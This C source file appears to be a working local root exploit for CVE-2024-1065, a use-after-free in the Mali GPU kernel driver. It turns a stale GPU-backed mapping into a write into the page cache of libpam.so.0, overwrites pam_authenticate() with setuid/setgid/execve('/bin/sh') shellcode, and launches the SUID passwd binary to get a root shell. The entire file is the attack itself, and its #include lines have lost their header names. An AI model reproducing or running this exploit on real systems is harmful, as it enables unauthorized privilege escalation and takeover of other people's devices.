#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* ─── Macros ─────────────────────────────────────────────────────────── */ #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define LOCAL_PAGE_SHIFT 12 #define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT) #define KBASE_IOCTL_TYPE 0x80 #define BASE_MEM_CACHED_CPU (1 << 12) #define BASE_MEM_COHERENT_SYSTEM_REQUIRED (1 << 15) #define TARGET_BINARY "/lib/x86_64-linux-gnu/libpam.so.0" /* library to corrupt */ #define TRIGGER_BINARY "/usr/bin/passwd" /* SUID binary to execve() */ #define NUM_FDS 100 #define PAGE_OFFSET 0x3000 /* file offset of the page containing pam_authenticate() */ #define FUNC_OFFSET 0xbc0 /* intra-page offset of pam_authenticate() */ /* ─── IOCTL structs ──────────────────────────────────────────────────── */ struct kbase_ioctl_version_check { __u16 major; __u16 minor; }; #define KBASE_IOCTL_VERSION_CHECK \ _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) struct kbase_ioctl_set_flags { __u32 create_flags; }; #define KBASE_IOCTL_SET_FLAGS \ _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) struct base_mem_import_user_buffer { __u64 ptr; __u64 length; }; union kbase_ioctl_mem_import { struct { __u64 flags; __u64 phandle; __u32 type; __u32 padding; } in; struct { __u64 flags; __u64 gpu_va; __u64 va_pages; } out; }; #define KBASE_IOCTL_MEM_IMPORT \ _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) /* ─── Helpers ────────────────────────────────────────────────────────── */ static int setup_mali(void) { struct kbase_ioctl_version_check vc = { .major = 11, .minor = 11 }; struct kbase_ioctl_set_flags set_flags = { .create_flags = 0 }; int mali_fd = SYSCHK(open("/dev/mali0", O_RDWR)); SYSCHK(ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK, &vc)); SYSCHK(ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &set_flags)); SYSCHK(mmap(NULL, 0x1000, PROT_NONE, MAP_SHARED, mali_fd, BASE_MEM_MAP_TRACKING_HANDLE)); return mali_fd; } static void hexdump(void *_data, size_t byte_count) { printf("hexdump(%p, 0x%lx)\n", _data, (unsigned long)byte_count); for (unsigned long off = 0; off < byte_count; off += 16) { unsigned char *bytes = (unsigned char *)_data + off; unsigned long n = (byte_count - off > 16) ? 16 : (byte_count - off); char line[1000]; char *p = line; p += sprintf(p, "%08lx ", off); for (int i = 0; i < 16; i++) { if (i >= (int)n) p += sprintf(p, " "); else p += sprintf(p, "%02hhx ", bytes[i]); } p += sprintf(p, " |"); for (int i = 0; i < (int)n; i++) { if (isalnum(bytes[i]) || ispunct(bytes[i]) || bytes[i] == ' ') *(p++) = bytes[i]; else *(p++) = '.'; } p += sprintf(p, "|"); puts(line); } } /* ─── Main ───────────────────────────────────────────────────────────── */ int main(void) { /* ── CPU affinity ──────────────────────────────────────────────── */ int cpu = sched_getcpu(); if (cpu < 0) { perror("sched_getcpu"); exit(EXIT_FAILURE); } cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("sched_setaffinity"); exit(EXIT_FAILURE); } /* ── Open target library NUM_FDS times ─────────────────────────── */ int fds[NUM_FDS]; for (int i = 0; i < NUM_FDS; i++) { fds[i] = open(TARGET_BINARY, O_RDONLY); if (fds[i] < 0) { perror("open target library"); exit(EXIT_FAILURE); } } printf("[*] Opened %s x%d\n", TARGET_BINARY, NUM_FDS); fflush(stdout); /* ── Trigger UAF (CVE-2024-1065) ───────────────────────────────── */ int mali_fd = setup_mali(); char *anon_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)); *(volatile char *)anon_mapping = 1; /* fault page into RAM */ struct base_mem_import_user_buffer ubuf = { .ptr = (unsigned long)anon_mapping, .length = 0x1000, }; union kbase_ioctl_mem_import mi = { .in = { .flags = 0xf | BASE_MEM_CACHED_CPU | BASE_MEM_COHERENT_SYSTEM_REQUIRED, .phandle = (unsigned long)&ubuf, .type = 3, /* BASE_MEM_IMPORT_TYPE_USER_BUFFER */ }, }; SYSCHK(ioctl(mali_fd, KBASE_IOCTL_MEM_IMPORT, &mi)); printf("[*] MEM_IMPORT: flags=0x%lx gpu_va=0x%lx va_pages=0x%lx\n", (unsigned long)mi.out.flags, (unsigned long)mi.out.gpu_va, (unsigned long)mi.out.va_pages); assert(mi.out.flags & (1 << 14)); /* BASE_MEM_NEED_MMAP */ /* First host mapping — GPU_MAPPED state */ void *gpu_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, mi.out.gpu_va)); printf("[*] gpu_mapping (VA 1): %p\n", gpu_mapping); /* Second host mapping — same physical page, becomes stale after munmap */ char *cpu_mapping2 = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, (off_t)gpu_mapping)); printf("[*] cpu_mapping2 (VA 2): %p\n", cpu_mapping2); (void)*(volatile char *)cpu_mapping2; /* populate PTEs before munmap */ munmap(gpu_mapping, 0x1000); munmap(anon_mapping, 0x1000); printf("[*] UAF triggered — stale mapping alive at %p\n", cpu_mapping2); fflush(stdout); /* ── Spray: evict → race → confirm ─────────────────────────────── */ printf("[*] Spraying page cache (%d attempts)...\n", NUM_FDS); fflush(stdout); char buf[4096]; int confirmed = 0; for (int i = 0; i < NUM_FDS && !confirmed; i++) { posix_fadvise(fds[i], PAGE_OFFSET, 4096, POSIX_FADV_DONTNEED); pread(fds[i], buf, 4096, PAGE_OFFSET); /* 0x00 = uninitialised, 0x61 = stale spray, 0xaa = page poison (CONFIG_PAGE_POISONING) */ unsigned char probe = ((unsigned char *)cpu_mapping2)[FUNC_OFFSET]; if (probe != 0x00 && probe != 0x61 && probe != 0xaa) { printf("[+] Overlap confirmed on attempt %d (byte=0x%02x) — " "cpu_mapping2 aliases the page cache!\n", i + 1, probe); confirmed = 1; } } if (!confirmed) { fprintf(stderr, "[-] Failed to land on the page cache " "after %d attempts.\n", NUM_FDS); exit(EXIT_FAILURE); } /* ── Inject shellcode ───────────────────────────────────────────── */ unsigned char shellcode[] = { /* setuid(0) — syscall 105 */ 0x48, 0x31, 0xff, /* xor rdi, rdi */ 0xb8, 0x69, 0x00, 0x00, 0x00, /* mov eax, 105 */ 0x0f, 0x05, /* syscall */ /* setgid(0) — syscall 106 */ 0x48, 0x31, 0xff, /* xor rdi, rdi */ 0xb8, 0x6a, 0x00, 0x00, 0x00, /* mov eax, 106 */ 0x0f, 0x05, /* syscall */ /* execve("/bin/sh", NULL, NULL) — syscall 59 */ 0x48, 0x31, 0xd2, /* xor rdx, rdx */ 0x48, 0xbb, /* mov rbx, ... */ 0x2f, 0x62, 0x69, 0x6e, /* "/bin" */ 0x2f, 0x73, 0x68, 0x00, /* "/sh\0" */ 0x53, /* push rbx */ 0x48, 0x89, 0xe7, /* mov rdi, rsp */ 0x48, 0x31, 0xf6, /* xor rsi, rsi */ 0xb8, 0x3b, 0x00, 0x00, 0x00, /* mov eax, 59 */ 0x0f, 0x05, /* syscall */ }; memcpy(cpu_mapping2 + FUNC_OFFSET, shellcode, sizeof(shellcode)); printf("[*] Shellcode written to %s page cache.\n", TARGET_BINARY); printf("[*] Triggering via %s...\n", TRIGGER_BINARY); fflush(stdout); /* ── Execute ────────────────────────────────────────────────────── */ char *args[] = { TRIGGER_BINARY, NULL }; char *env[] = { NULL }; execve(TRIGGER_BINARY, args, env); perror("execve"); return 1; }